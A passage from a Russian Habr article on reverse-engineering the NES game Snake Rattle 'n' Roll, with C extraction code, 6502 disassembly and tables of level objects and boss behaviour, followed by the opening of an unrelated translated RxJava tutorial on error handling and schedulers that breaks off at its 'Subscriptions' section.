ret = block\_type[(block\_id >> 1) | level\_id];
if((block\_id & 0x01) == 1) {
ret = ret >> 4;
}
ret &= 0x0F;
return ret;
}
void genText(FILE \* max\_out, uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type){
float fy;
fy = y\*4 - 1.5;
if((x<29) && (y>35)){
high += LEVEL9\_UP;
}
fprintf(max\_out, "text size:5 font:\"Courier New\" text:\"%X\" pos:[%d,%03.01f,%d.1] wirecolor:(color 108 8 136) name:\"TX[%02d:%02d]\" \r\n", type, x\*4, fy, high\*4, x,y);
}
void genBox(FILE \* max\_out, uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type){
uint8\_t color;
uint8\_t color\_map[2][2] = {{1,0}, {0,1}};
if((x<29) && (y>35)){
high += LEVEL9\_UP;
}
fprintf(max\_out, "Box lengthsegs:1 widthsegs:1 heightsegs:1 length:4 width:4 height:%d mapCoords:off pos:[%d,%d,0] name:\"Box[%02d:%02d][BT%02X]\" ", high\*4, x\*4, y\*4, x ,y, type);
color = color\_map[(x % 2)][(y % 2)];
if((high > 0) && (high < 114)){
if(type != 0xA){
if(color == 1){
fprintf(max\_out, "wirecolor:(color 00 200 00)");
} else {
fprintf(max\_out, "wirecolor:(color 00 150 00)");
}
} else {
fprintf(max\_out, "wirecolor:(color 00 00 230)");
}
} else if (high >= 114){
fprintf(max\_out, "wirecolor:(color 200 200 250)");
} else {
fprintf(max\_out, "wirecolor:(color 00 00 255)");
}
fprintf(max\_out, "\r\n");
}
void bonuses\_dec(){
uint32\_t cnt, offset, i, j;
uint8\_t item, count, bnn;
uint8\_t x, y, block\_id;
FILE \* file;
char fname[32];
for(i=0; i<4; i++){
printf("Decode bonus level %d\r\n", i+1);
sprintf(fname, "bonus\_level\_%d.ms", i+1);
file = fopen(fname, "w+");
offset = bl\_offsets[i];
cnt = 0;
x = 0; y = 0;
do {
item = bonus\_levels[offset++];
count = bonus\_levels[offset++];
for(j = 0; j < count; j++){
cnt++;
block\_id = block\_type[(item >> 1)];
if((item & 0x01) == 1) {
block\_id = block\_id >> 4;
}
block\_id &= 0x0F;
genBox(file, x, y, high\_map[item], block\_id);
genText(file,x, y, high\_map[item], block\_id);
x++;
if(x > 15){ y++; x = 0;}
}
} while (cnt<256);
fclose(file);
}
}
void read\_world(){
uint32\_t readed;
FILE \* file;
file = fopen("Snake\_Rattle'n\_Roll\_(U).nes", "rb");
fseek(file, 0x63D0, SEEK\_SET);
readed = fread(map, 4096, 1, file);
printf("Map Readed: %d\r\n", readed);
fseek(file, 0x5079, SEEK\_SET);
readed = fread(high\_map, 256, 1, file);
printf("HighMap Readed: %d\r\n", readed);
fseek(file, 0x4F7A, SEEK\_SET);
readed = fread(block\_type, 256, 1, file);
printf("Block\_type Readed: %d\r\n", readed);
fseek(file, 0xF4D0, SEEK\_SET);
readed = fread(bonus\_offset, 6, 1, file);
printf("Bonuses offsets: %d\r\n", readed);
fseek(file, 0xF4D0+6, SEEK\_SET);
readed = fread(bonuses, 168, 1, file);
printf("Bonuses Readed: %d\r\n", readed);
fseek(file, 0xE1EA, SEEK\_SET);
readed = fread(bonus\_levels, 1024, 1, file);
printf("Bonus levels Readed: %d\r\n", readed);
fclose(file);
}
```
### 7. Подводные уровни
А без чего не может обойтись любая хорошая игра, правильно без подводного уровня. Сразу вспоминается подводный уровень в первых Черепашках Ниндзя, батискаф из Червяка Джима, Crash Bandicoot 3, и даже части уровней в Unreal. В общем даже если у них и была нормальная сложность, получать удовольствие от них у меня никогда не получалось. Есть такие уровни в этой замечательной игре, и о боже они здесь просто чудесны, после достаточно сложного седьмого уровня, и перед очень сложными девятым и десятым, нам дают чисто расслабиться и перевести дух, спасибо разработчикам **Rare** за это. Но хватит лирики. Восьмой уровень по большей части состоит из пяти (пятую можно пропустить) подводных комнат, по виду они похожи на комнаты бонус уровней, и геометрия просто так в роме не ищется. Поискав, там же где были, бонус уровни тоже ничего не нашлось. Повторяем всё то, что делали для бонусных уровней и находим, что теперь уровень лежит по адресу 0x700, попробуем отследить, кто его туда выкладывает. Получаем такой кусок:
`00:842B:A2 00 LDX #$00
00:842D:BD 00 02 LDA $0200,X @ $0200 = #$81
>00:8430:9D 00 07 STA $0700,X @ $0700 = #$55
00:8433:E8 INX
00:8434:D0 F7 BNE $842D`
То есть, кто уровень грузят изначально по адресу 0x200, а потом копируют на 0x700, переставляем брэкйпоинт на 0x200, и попадаем в тот же кусок, что и для бонусных уровней. Но бонус выбирался в зависимости от номера уровня, а тут пять разных комнат, и номер уровня не меняется. Значит есть шанс, что сюда попадаем из уже при правильно установленном **Y**.
Пришло время попробовать трэйсер кода, запускаем Debug → Trace Logger… ставим 100 строк должно хватить, и в момент срабатывания брэйкпоинта видим следующее:
`A:00 X:00 Y:00 S:FA P:nvUBdIZc $070A:A5 C5 LDA $00C5 = #$01
A:01 X:00 Y:00 S:FA P:nvUBdIzc $070C:F0 05 BEQ $0713
A:01 X:00 Y:00 S:FA P:nvUBdIzc $070E:18 CLC
A:01 X:00 Y:00 S:FA P:nvUBdIzc $070F:69 03 ADC #$03
A:04 X:00 Y:00 S:FA P:nvUBdIzc $0711:D0 02 BNE $0715
A:04 X:00 Y:00 S:FA P:nvUBdIzc $0715:0A ASL
A:08 X:00 Y:00 S:FA P:nvUBdIzc $0716:85 8F STA $008F = #$00
A:08 X:00 Y:00 S:FA P:nvUBdIzc $0718:A8 TAY
A:08 X:00 Y:08 S:FA P:nvUBdIzc $0719:B9 5B 07 LDA $075B,Y @ $0763 = #$06
A:06 X:00 Y:08 S:FA P:nvUBdIzc $071C:8D 06 20 STA PPU_ADDRESS = #$54
A:06 X:00 Y:08 S:FA P:nvUBdIzc $071F:B9 5C 07 LDA $075C,Y @ $0764 = #$78
A:78 X:00 Y:08 S:FA P:nvUBdIzc $0722:8D 06 20 STA PPU_ADDRESS = #$54`
И так оно и есть, номер комнаты берется из ячейки 0xС5 и считается от одного, потом к нему прибавляется три, и дальше, так же как и с бонус уровнями. Получаем смещения уровней:
`0x0678
0x06FE
0x0774
0x07DC
0x07DC`
И мы видим, что два последних уровня совпадают, а так оно и есть в игре. Смотрим где эти уровни расположены в ROM, эти значения и находим адрес 0xE688. Правим код и делам расшифровку. И вот они подводные уровни, которые целиком в игре и не видны, только так можно их рассмотреть целиком.
**Подводные уровни**
**Код генератор, который писать к этому моменту мне уже поднадоело**
```
#include
#include
#include
uint8\_t map[4096];
uint8\_t high\_map[256];
uint8\_t block\_type[256];
uint8\_t bonus\_offset[6];
uint8\_t bonuses[84][2];
uint8\_t bonus\_levels[1024];
uint16\_t bl\_offsets[4] = {
0x0000,
0x022A - 0x01DA,
0x029E - 0x01DA,
0x030E - 0x01DA,
};
uint8\_t uw\_levels[1024];
uint16\_t uw\_offsets[5] = {
0x0000,
0x06FE - 0x0678,
0x0774 - 0x0678,
0x07DC - 0x0678,
0x07DC - 0x0678,
};
void read\_world();
void genBox(FILE \* max\_out, uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type);
void genText(FILE \* max\_out, uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type);
uint8\_t getHigh(uint8\_t x, uint8\_t y);
uint8\_t getBlockType(uint8\_t x, uint8\_t y);
void bonuses\_dec();
void underwater\_dec();
#define LEVEL9\_UP (114)
FILE \* max\_out;
int main(){
uint32\_t i;
read\_world();
max\_out = fopen("level.ms", "w+");
for(uint8\_t y=0; y<64; y++){
for(uint8\_t x=0; x<64; x++){
genBox(max\_out, x, y, getHigh(x,y), getBlockType(x, y));
genText(max\_out,x, y, getHigh(x,y), getBlockType(x, y));
}
}
fclose(max\_out);
bonuses\_dec();
underwater\_dec();
for(uint8\_t y=0; y<64; y++){
for(uint8\_t x=0; x<64; x++){
if(getBlockType(x, y) == 2){
printf("BN[%02u:%02u] = [", x, y);
for(uint8\_t n=0; n<84; n++){
uint8\_t bx, by, bt;
bx = ((bonuses[n][0] >> 4)& 0x0F) | ((bonuses[n][0] << 4) & 0xF0);
by = ((bonuses[n][1] >> 4)& 0x0F);
bt = bonuses[n][1] & 0x0F;
if((bx == x) && ((y & 0x0F) == by)){
printf("[%02u]%X ", n, bt);
}
}
printf("]\r\n");
}
}
}
return 0;
}
uint8\_t getHigh(uint8\_t x, uint8\_t y){
return high\_map[map[y\*64 + x]];
}
uint8\_t getBlockType(uint8\_t x, uint8\_t y){
uint8\_t block\_id;
uint8\_t ret;
uint8\_t level\_id;
level\_id = 0;
if((x<29) && (y>35)){
level\_id = 0x80;
}
block\_id = map[y\*64 + x];
ret = block\_type[(block\_id >> 1) | level\_id];
if((block\_id & 0x01) == 1) {
ret = ret >> 4;
}
ret &= 0x0F;
return ret;
}
void genText(FILE \* max\_out, uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type){
float fy;
fy = y\*4 - 1.5;
if((x<29) && (y>35)){
high += LEVEL9\_UP;
}
fprintf(max\_out, "text size:5 font:\"Courier New\" text:\"%X\" pos:[%d,%03.01f,%d.1] wirecolor:(color 108 8 136) name:\"TX[%02d:%02d]\" \r\n", type, x\*4, fy, high\*4, x,y);
}
void genBox(FILE \* max\_out, uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type){
uint8\_t color;
uint8\_t color\_map[2][2] = {{1,0}, {0,1}};
if((x<29) && (y>35)){
high += LEVEL9\_UP;
}
fprintf(max\_out, "Box lengthsegs:1 widthsegs:1 heightsegs:1 length:4 width:4 height:%d mapCoords:off pos:[%d,%d,0] name:\"Box[%02d:%02d][BT%02X]\" ", high\*4, x\*4, y\*4, x ,y, type);
color = color\_map[(x % 2)][(y % 2)];
if((high > 0) && (high < 114)){
if(type != 0xA){
if(color == 1){
fprintf(max\_out, "wirecolor:(color 00 200 00)");
} else {
fprintf(max\_out, "wirecolor:(color 00 150 00)");
}
} else {
fprintf(max\_out, "wirecolor:(color 00 00 230)");
}
} else if (high >= 114){
fprintf(max\_out, "wirecolor:(color 200 200 250)");
} else {
fprintf(max\_out, "wirecolor:(color 00 00 255)");
}
fprintf(max\_out, "\r\n");
}
void bonuses\_dec(){
uint32\_t cnt, offset, i, j;
uint8\_t item, count, bnn;
uint8\_t x, y, block\_id;
FILE \* file;
char fname[32];
for(i=0; i<4; i++){
printf("Decode bonus level %d\r\n", i+1);
sprintf(fname, "bonus\_level\_%d.ms", i+1);
file = fopen(fname, "w+");
offset = bl\_offsets[i];
cnt = 0;
x = 0; y = 0;
do {
item = bonus\_levels[offset++];
count = bonus\_levels[offset++];
for(j = 0; j < count; j++){
cnt++;
block\_id = block\_type[(item >> 1)];
if((item & 0x01) == 1) {
block\_id = block\_id >> 4;
}
block\_id &= 0x0F;
genBox(file, x, y, high\_map[item], block\_id);
genText(file,x, y, high\_map[item], block\_id);
x++;
if(x > 15){ y++; x = 0;}
}
} while (cnt<256);
fclose(file);
}
}
void underwater\_dec(){
uint32\_t cnt, offset, i, j;
uint8\_t item, count, bnn;
uint8\_t x, y, block\_id;
FILE \* file;
char fname[32];
for(i=0; i<5; i++){
printf("Decode underwater level %d\r\n", i+1);
sprintf(fname, "underwater\_level\_%d.ms", i+1);
file = fopen(fname, "w+");
offset = uw\_offsets[i];
cnt = 0;
x = 0; y = 0;
do {
item = uw\_levels[offset++];
count = uw\_levels[offset++];
for(j = 0; j < count; j++){
cnt++;
block\_id = block\_type[(item >> 1)];
if((item & 0x01) == 1) {
block\_id = block\_id >> 4;
}
block\_id &= 0x0F;
genBox(file, x, y, high\_map[item], block\_id);
genText(file,x, y, high\_map[item], block\_id);
x++;
if(x > 15){ y++; x = 0;}
}
} while (cnt<256);
fclose(file);
}
}
void read\_world(){
uint32\_t readed;
FILE \* file;
file = fopen("Snake\_Rattle'n\_Roll\_(U).nes", "rb");
fseek(file, 0x63D0, SEEK\_SET);
readed = fread(map, 4096, 1, file);
printf("Map Readed: %d\r\n", readed);
fseek(file, 0x5079, SEEK\_SET);
readed = fread(high\_map, 256, 1, file);
printf("HighMap Readed: %d\r\n", readed);
fseek(file, 0x4F7A, SEEK\_SET);
readed = fread(block\_type, 256, 1, file);
printf("Block\_type Readed: %d\r\n", readed);
fseek(file, 0xF4D0, SEEK\_SET);
readed = fread(bonus\_offset, 6, 1, file);
printf("Bonuses offsets: %d\r\n", readed);
fseek(file, 0xF4D0+6, SEEK\_SET);
readed = fread(bonuses, 168, 1, file);
printf("Bonuses Readed: %d\r\n", readed);
fseek(file, 0xE1EA, SEEK\_SET);
readed = fread(bonus\_levels, 1024, 1, file);
printf("Bonus levels Readed: %d\r\n", readed);
fseek(file, 0xE688, SEEK\_SET);
readed = fread(uw\_levels, 1024, 1, file);
printf("Underwater levels Readed: %d\r\n", readed);
fclose(file);
}
```
### 8. Бонусы на карте
*А как выяснилось в процессе не только бонусы*
Кроме бонусов к люках, есть ещё просто бонусы, разбросанные по карте. Хорошо бы найти и то, как они хранятся. Так же как и с люках, поискав изменяющиеся ячейки, нашел, что когда берешь первый бонус то меняется значение в ячейке 0x692 c 0x34 на 0x00. Тоже самое происходит для ячейки 0x6A0 если взять жизнь возле водопада, и для ячейки 0x699 если взять ещё один бонус.Если вернуть в эти ячейки 0x34 то бонусы появляется вновь. Путем не хитрых поисков закономерности, можно заметить, что между этими элементами находится по семь байт. Дальнейшие эксперименты показали, что если принять 0x692 за первый байт, в последовательности то седьмой отвечает за тип бонуса. За что отвечает шестой непонятно, а вот со второго по пятый как-то отвечают за координаты. Разберемся попозже, сейчас надо найти откуда это все переносится в память, и какова длинна этого блока. Ставим брэйкпоинт на запись 0x692 и для удобства добавляем условие A==#34 Пробуем войти на первый уровень. Попадаем вот в такое место:
`:0206:A5 C5 LDA $00C5
:0208:F0 02 BEQ $020C
:020A:69 03 ADC #$03
:020C:65 AA ADC $00AA
:020E:0A ASL
:020F:A8 TAY
:0210:AD 02 20 LDA PPU_STATUS
:0213:B9 55 02 LDA $0255,Y
:0216:8D 06 20 STA PPU_ADDRESS
:0219:B9 54 02 LDA $0254,Y
:021C:8D 06 20 STA PPU_ADDRESS
:021F:B9 56 02 LDA $0256,Y
:0222:38 SEC
:0223:F9 54 02 SBC $0254,Y
:0226:85 AC STA $00AC
:0228:AA TAX
:0229:A0 00 LDY #$00
:022B:84 AB STY $00AB
:022D:AD 07 20 LDA PPU_DATA
:0230:AD 07 20 LDA PPU_DATA
:0233:99 53 06 STA $0653,Y
:0236:AD 07 20 LDA PPU_DATA
:0239:99 54 06 STA $0654,Y
:023C:AD 07 20 LDA PPU_DATA
:023F:99 55 06 STA $0655,Y
:0242:AD 07 20 LDA PPU_DATA
:0245:99 56 06 STA $0656,Y
:0248:98 TYA
:0249:18 CLC
:024A:69 04 ADC #$04
:024C:A8 TAY
:024D:8A TXA
:024E:E9 03 SBC #$03
:0250:AA TAX
:0251:B0 DD BCS $0230
:0253:60 RTS`
Статья разрослась, поэтому краткое изложение такое. Берется значение из ячейки 0x00C5 (номер комнаты подводного уровня) если он не ноль к нему прибавляют три, потом к полученному числу прибавляют текущий номер уровня, и умножают полученное на два. По полученному индексу идут в таблицу лежащую в момент загрузки уровня по адресу 0x254. Берут оттуда смещение, после чего рассчитывается, размер блока, и блок из PPU копируется по адресу 0x653. Смотрим, что в этот момент находится в PPU, а потом ищем такое же совпадение в ROM файле, и получаем адрес 0xE906.
C этим разобрались, теперь посмотрим, как оно закодировано, возьмем для примера блок первого уровня:
`0A 00 0E 38 20 41 00
3F 00 B8 38 1C 00 00
0A 60 6E 98 10 40 00
0B 60 59 82 23 00 23
35 60 78 98 10 21 40
35 60 18 58 10 51 80
35 40 58 48 10 60 A0
35 00 E8 58 10 21 80
35 00 68 58 10 40 60
34 00 48 38 20 00 70
34 20 38 08 10 00 70
34 20 18 88 60 00 72
34 20 B8 88 50 00 6D
21 20 68 78 29 00 00
21 40 E8 58 29 00 00
27 40 68 48 10 00 00
26 00 28 D8 29 00 05`
В первой колонке видим число, 0x34 которое как мы видели выше, меняется на 0x00, если бонус взять. И повторяется оно четыре раза. Если пробежаться по уровню то там есть четыре бонуса, два удлинителя языка, жизнь и будильник. Также мы видим, что в седьмой колонке два совпадение 0x70 и два разных числа. Можно предположить, что седьмая колонка отвечает за тип бонуса. После экспериментов это частично подтвердилось.
Но что будет, если 0x34 поменять на что ни будь другое, тут например 0x35 тоже повторяется. Меняем и «жизнь» превращается в «шашку». Значит, первое число отвечает за тип элемента. За что отвечают остальные колонки, путем экспериментов удалось частично разобраться. За координаты отвечают байты со второго по шестой, шестой и седьмой байты отвечают за параметры, и для каждого типа элемента расшифровываются по своему. Координаты тоже достаточно странно закодированы, графически можно представить так:
[](https://habrastorage.org/webt/9w/xp/m7/9wxpm7b0zedwbnrtyvhhgftiqno.png)
Для тех кому понятней код, запись такая:
```
uint16_t x = data[2] + (256 * ((data[1] & 0xF0) >> 5)) ;
uint16_t y = data[3] + (256 * ((data[1] & 0x0F) >> 2));
uint16_t z = data[4] + (256 * (((data[1] << 1) | ((data[5]) >> 7)) & 0x7));
```
Элементы массива считаются от нуля, как и положено. Надо учитывать, что последние уровни мы приподнимали при рендеринге, то же самое надо делать и с этими «вещами». Как оказалось, в этом массиве закодированы не только бонусы, но и разные элементы карты, враги, места где расположены генераторы нибблов (как оказалось на карте только графическое представление, а сам генератор берется из этого списка), а также двери и многое другое. У многих элементов в последних двух байтах закодированы их параметры, все я не разбирал, но что узнал, опишу. Хотя многое требует уточнения. Список получился достаточно внушительный:
| ID | Описание |
| --- | --- |
| 0x0A | Дверь, через которую змея входит или выходит с уровня, в параметрах закодировано вход это или выход, и ориентация двери |
| 0x0B | Весы, а точней язычок весов, в параметрах, кажется, указана начальная высота язычка весов |
| 0x0D | «Спихивалка» змей, есть в пятом и шестом уровнях, в параметрах скорей всего направление в котором она работает |
| 0x0E | Лезвия, атакующие змей, в параметрах направление движения лезвия |
| 0x10 | Скорей всего флаг, расположенный на вершине мира, во время битвы с финальной ногой |
| 0x13 | Зубастик в уровнях до девятого, на девятом-десятом, глыба льда. В параметрах указано направление движения, и количество клеток на которое происходит движение и цвет зубастика |
| 0x14 | Непонятная субстанция, стреляющая иглами во все стороны |
| 0x21 | Места? откуда выстреливаются нибблы, параметры если и есть, то не ясны |
| 0x25 | Ковер самолет, в параметрах скорей всего направление движение, количество клеток на которое движется, и возможно включение невидимости |
| 0x26 | Так и не понял что это, но явно связано с бонус уровнями, на первых четырех уровнях игры |
| 0x27 | Похоже на начальные координаты ноги на уровне, но если нога в люке, то помещение этого элемента над люком вызывает автооткрывание люка при приближение к нему, даже если в люке не нога |
| 0x2С | Ещё один зубастик, движется по кругу в отличии от других которые двигаются по прямой |
| 0x2D | Дверь, из которой в шестом уровне вылетают колокола, и акваланг для подъема по водопаду, в параметрах ориентация двери |
| 0x2F | Икра из которой вылупляются рыбки в подводных уровнях, в параметрах, похоже, число икринок |
| 0x34 | Бонусы расставленные по уровням: в седьмом байте указан тип бонуса, 0x6D — будильник, 0x6F — «континиус», 0x70 — удлинитель языка, 0x71 — неуязвимость, 0x72 — жизнь, 0x73 — инверсия движения, 0x74 — «ключ» ускоритель движения |
| 0x35 | Враги, в первом уровне шашки, во втором грибы, в девятом и десятом, ледяные прозрачные шары, в параметрах направление движение, и число клеток на которое оно происходит |
| 0x36 | Места откуда падают наковальни, в параметрах тип наковальни (возможно только цвет) |
| 0x37 | Фонтанчик, те самые фонтанчики, которые должны подбрасывать змей вверх, и на которых все висло у большинства игроков в России, параметров вроде бы нет |
| 0x38 | Сверла, вылезающие из земли в седьмом уровне, параметры не янсы, но должны быть достаточно интересны |
| 0x39 | Тоже сверла, но другого цвета и возможно имеют другие параметры |
| 0x3A | Падающие шары, в параметрах скорей всего высота, с которой идет падение шара, и направление движения |
| 0x3B | Колокольчики из шестого уровня, параметры скорей всего как у типа 0x35 |
| 0x3D | Возможно корпус НЛО из последнего уровня, или его кабина |
| 0x3E | Возможно корпус НЛО из последнего уровня, или его кабина |
| 0x3F | Совсем непонятно что это, возможно как-то связано с ракетой в восьмой уровень, а может и нет |
Правда, осмотрев седьмой уровень, я обнаружил, что элементов явно маловато. И нет фонтанчиков, а в игре они появляются после взятия будильника, да и в статье про баг написано, что игра закачивает новые данные в момент взятия этого будильника (Надо заметить такое есть кажется только в седьмом уровне). Чтобы найти, откуда грузится остаток, достаточно было поставить брэкйпоинт на изменение первого элемента списка, и попадаем вот в такой кусок:
`00:8C73:A9 0F LDA #$0F
00:8C75:8D 06 20 STA PPU_ADDRESS
00:8C78:A9 78 LDA #$78
00:8C7A:8D 06 20 STA PPU_ADDRESS
00:8C7D:A9 77 LDA #$77
00:8C7F:85 AC STA $00AC
00:8C81:84 AB STY $00AB
00:8C83:AD 07 20 LDA PPU_DATA
00:8C86:AD 07 20 LDA PPU_DATA
00:8C89:99 53 06 STA $0653,Y
00:8C8C:AD 07 20 LDA PPU_DATA
00:8C8F:99 54 06 STA $0654,Y
00:8C92:C8 INY
00:8C93:C8 INY
00:8C94:C0 77 CPY #$77
00:8C96:90 EE BCC $8C86`
То есть, копируем семьдесят семь байт из PPU по адресу 0xF78, поиск совпадений в ROM дает адрес 0xEF88. Что как раз идет аккурат за основным блоком, с данными элементов. Ну и надо расставить все точки о восьмом уровне. Во первых это единственный уровень без главного протагониста Ноги, а во вторых это уровень элементы в котором подгружаются до шести раз. Первый раз, когда входим на уровень, и потом каждый раз, когда мы попадаем в очередную подводную комнату. Но тут тоже есть маленькая хитрость, подгруздка идёт не только для подводных комнат, но и для основного уровня, именно по этому заходя в третью комнату мы слышим звук фонтанчика, хотя его вроде бы нигде и нет.
### 9. Нога
*— Этa нога — у того, у кого надо нога.*
На протяжении всей игры, по всем уровням игры (кроме восьмого) нас преследует один враг, Нога. Она же является финальным боссом. Не хорошо будет, обойти её стороной, поэтому давайте разберемся, по какому алгоритму она движется. Я догадываюсь, что мотыляние по ассемблер коду всем поднадоело уже. Поэтому опишу, что удалось выяснить.
В ROMе лежат два массива индексами в которых являются номер уровня, напомню уровни внутри игры считаются от нуля.
`Level : 00 01 02 03 04 05 06 07 08 09 0A
0x3E88: 48 40 38 30 20 18 10 08 04 04 28
0x3FC0: 00 10 19 22 33 3F 59 00 6F 6F 75`
По адресам 0x3E88 расположены задержки. Задержки считаются в кадрах. После того как насчитаем нужное количество кадров, Нога делает один ход, по его окончании счетчик обнуляется. И процесс запускается внось. По адресам 0x3FC0 расположены смещения, с которых начинается «скрипт» работы Ноги. Смещения берутся относительно адреса 0x3FCB. Логика работы достаточно проста. Берем байт по указанному смещению, если он не равен 0xFF то выполняем команду, и инкрементируем значения смещения. Если же он равен 0xFF то читаем следующий байт, и устанавливаем его в качестве текущего смещения. Команда состоит из трех частей:
Два младших бита отвечают за высоту прыжка, который делает нога каждый «ход». Высота рассчитывается просто, к этим младшим двум битам прибавляется двойка. То есть минимальная высота прыжка у нас получается два, максимальная пять. Но высота не совсем линейна (наверное это можно даже назвать импульсом прыжка). Вот высоты в пикселях, на которые прыгает нога по координате Z в зависимости от этого коэффициента: 0 — 15, 1 — 35, 2 — 64, 3 — 100.
А вот дальше всё достаточно заморочено. Биты с шестого по второй отвечают за направление прыжка. И вот тут скажу честно, я не осилил алгоритм расчета, он достаточно замороченный и использует какие то трюки, и таблицы предрасчета.
Функция расчет движения разбита на несколько частей, одна находится по адресу 0xCD4C вторая часть возможно сдесь 0xC480.
В общем итоге, я просто взял и замерил, как оно работает, получил в итоге вот такую табличку:
Кодом можно записать так:
```
int8_t X[32] = {30,33,35,37,39,40,41,42,42,42,41,40,39,37,35,33,30,27,23,20,16,12,8,4,0,-4,-8,-12,-16,-20,-23,-27};
int8_t Y[32] = {30,27,23,20,16,12,8,4,0,-4,-8,-12,-16,-20,-23,-27,-30,-33,-35,-37,-39,-40,-41,-42,-42,-42,-41,-40,-39,-37,-35,-33};
```
Как это расшифровывать? Очень просто, берем число закодированное с шестого по второй биты. И по таблице узнаем сколько нужно прибавить к координатам X и Y по завершении хода с высотой прыжка равной ноль (два если брать внутри игры), чтобы узнать на сколько прыгнет нога. При длине прыжка один, делим оба числа на два, а потом умножаем на три (напомню внутри игры к длине прибавляется двойка).
И остался последний седьмой бит, это бит инверсии если он установлен, то нужно поменять знак числам в таблице на противоположный.
И важно учитывать, что в отличии от например шашек, нога обрабатывает коллизию с миров, и может ударяться о стены.
С этим разобрались, не идеально, но думаю вполне понятно. И остался ещё один вопрос, сколько «жизней» у Ноги, на каждом уровне. Ходили легенды, что на последнем уровне нога неубиваема. Хотя возможно это и, правда. Но приступим. «Жизни» ноги устроены так, каждый кадр нога на одну единицу восстанавливает свое здоровье. Урон, который змея наносит ноге, рассчитывается так:
`00:BBE5:A5 AA LDA $00AA = #$00
00:BBE7:0A ASL
00:BBE8:49 1F EOR #$1F
00:BBEA:C9 0E CMP #$0E
00:BBEC:B0 02 BCS $BBF0
00:BBEE:A9 0E LDA #$0E
00:BBF0:7D 17 06 ADC $0617,X`
То есть урон зависит только от уровня:
Получаем такую картину, для того чтобы убить ногу нужно, наносить ей урон быстрей, чем она успевает его восстанавливать. Для NTSC версии, в первом уровне для этого нужно наносить два и больше удар в секунду. В то время как на одиннадцатом уровне, это уже больше четырех раз в секунду. По этому в целом может показаться, что нога не убиваема. Однако да, вполне может быть, и были картриджи с неубиваемой ногой.
### Заключение
Надеюсь, вам было интересно. А может даже в чем-то и полезно. Может быть даже кто то захочет, сделать редактор уровней для этой или игры, или упаси боже ремейк (только хороший, пожалуйста). По сложившейся тут традиции [выкладываю](https://github.com/VBKesha/snake_rev) все наработки хотя смысла в этом особого и не вижу, но традиция есть традиция. Написание этой статьи заняло гораздо больше времени, чем я ожидал. Однако, из за этого удалось более подробно изучить многие вещи до которых руки не дошли бы. Ну а заодно чуть приподнять уровень знаний MOS6502 ассемблера.
Всем спасибо за внимание! | https://habr.com/ru/post/498106/ | null | ru | null |
# Грокаем RxJava, часть третья: Реактивность с пользой
В [первой части](http://habrahabr.ru/post/265269/) мы прошлись по основам RxJava. Во [второй части](http://habrahabr.ru/post/265269/) я показал вам потенциал операторов. Но, быть может, всего показанного мною всё ещё недостаточно для того, чтобы убедить вас. В таком случае я покажу вам ещё несколько полезностей RxJava, которые должны стать решающим аргументом в мою пользу.
Обработка ошибок
----------------
До настоящего момента мы полностью игнорировали такие методы `Observable`, как `onComplete()` и `onError()`. Данные методы вызываются в момент, когда `Observable` прекращает порождать новые данные — либо потому, что ему нечего больше порождать, либо потому, что произошла ошибка.
Самый первый наш `Subscriber` следил за `onCompleted()` и `onError()`. Давайте сделаем что-нибудь полезное в этих точках:
```
Observable.just("Hello, world!")
.map(s -> potentialException(s))
.map(s -> anotherPotentialException(s))
.subscribe(new Subscriber() {
@Override
public void onNext(String s) { System.out.println(s); }
@Override
public void onCompleted() { System.out.println("Completed!"); }
@Override
public void onError(Throwable e) { System.out.println("Ouch!"); }
});
```
Положим, что `potentialException()` и `anotherPotentialException()` могут выбрасывать исключения во время работы. Каждый `Observable` завершает своё выполнение вызовом `onCompleted()` или `onError`. В таком случае, вывод программы будет либо строкой, за которой следует «Completed!», либо вывод будет состоять из одного-единственного «Ouch!» (потому что было выброшено исключение).
Таким образом, у нас есть несколько выводов:
1. **`onError()` вызывается вне зависимости от того, *когда* было выброшено исключение.**
Благодаря этому, обработка ошибок становится очень простой: можно просто обрабатывать каждую возникающую ошибку в одной-единственной функции, находящейся в самом конце.
2. **Операторы не обязаны обрабатывать исключения.**
Обработка ошибок, возникающих в любом месте цепочки `Observables` становится задачей `Subscriber`, т.к. каждое исключение следует напрямую в `onError()`.
3. **Вы всегда знаете, когда `Subscriber` прекратил получать новые элементы.**
Знание момента завершения работы помогает вам писать более последовательный код (хотя может произойти и так, что `Observable` никогда не завершит своё выполнение).
Я считаю подобный подход к обработке ошибок гораздо более простым, в сравнении с традиционным подходом. Если вы пишете код с функциями обратного вызова, то обработка ошибок должна происходить в каждой из них. Это не просто ведёт к тому, что ваш код начинает повторяться во многих местах, но ещё и к тому, что *каждая* функция обратного вызова теперь должна знать, как ей обрабатывать ошибки, то есть она становится сильно связанной с тем, кто её вызывает.
В случае с RxJava, `Observable` не должен даже знать о том, что ему делать с ошибками! Это относится и к операторам: они не будут выполняться, если на каком-то из предыдущих этапов у нас произошла критическая ошибка. Вся обработка ошибок находится в `Subscriber`.
Планировщики
------------
У вас есть Android приложение, которое делает запрос к сети. Запрос может продлиться долго, поэтому вы выносите его в другой поток. Не успеете и оглянуться, как у вас есть проблемы.
Многопоточные Android приложения сложны в написании потому, что вам нужно убедиться, что вы запускаете правильный код в правильном потоке; перепутаете что-нибудь, и приложение упадёт. Классический пример — исключение, которое падает в ответ на вашу попытку модифицировать состояние `View` не из главного потока.
В RxJava можно легко указать, в каком потоке должны запускаться ваши `Observer` и `Subscriber`, воспользовавшись, соответственно, `subscribeOn()` и `observeOn()`:
```
myObservableServices.retrieveImage(url)
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(bitmap -> myImageView.setImageBitmap(bitmap));
```
Просто, правда? Всё, что выполняется до `Subscriber`, выполняется в отдельном I/O потоке, а манипуляции с `View` работают уже в главном потоке1.
Интересно здесь то, что `subscribeOn()` и `observeOn()` могут быть вызваны на любом `Observable`, так как они всего-навсего операторы. Не нужно беспокоиться о том, что делает наш `Observable()`, или следующие за ним операторы — можно просто добавить `subscribeOn()` и `observeOn()` в самом конце, для того, чтобы раскидать выполнение задач по нужным потокам.
Если мы пользуемся `AsyncTask`, или чем-то подобным, нам нужно писать код с учётом того, какие его части должны выполняться параллельно. В случае с RxJava мы просто пишем код — а потом указываем, где нам его выполнять2.
Подписки
--------
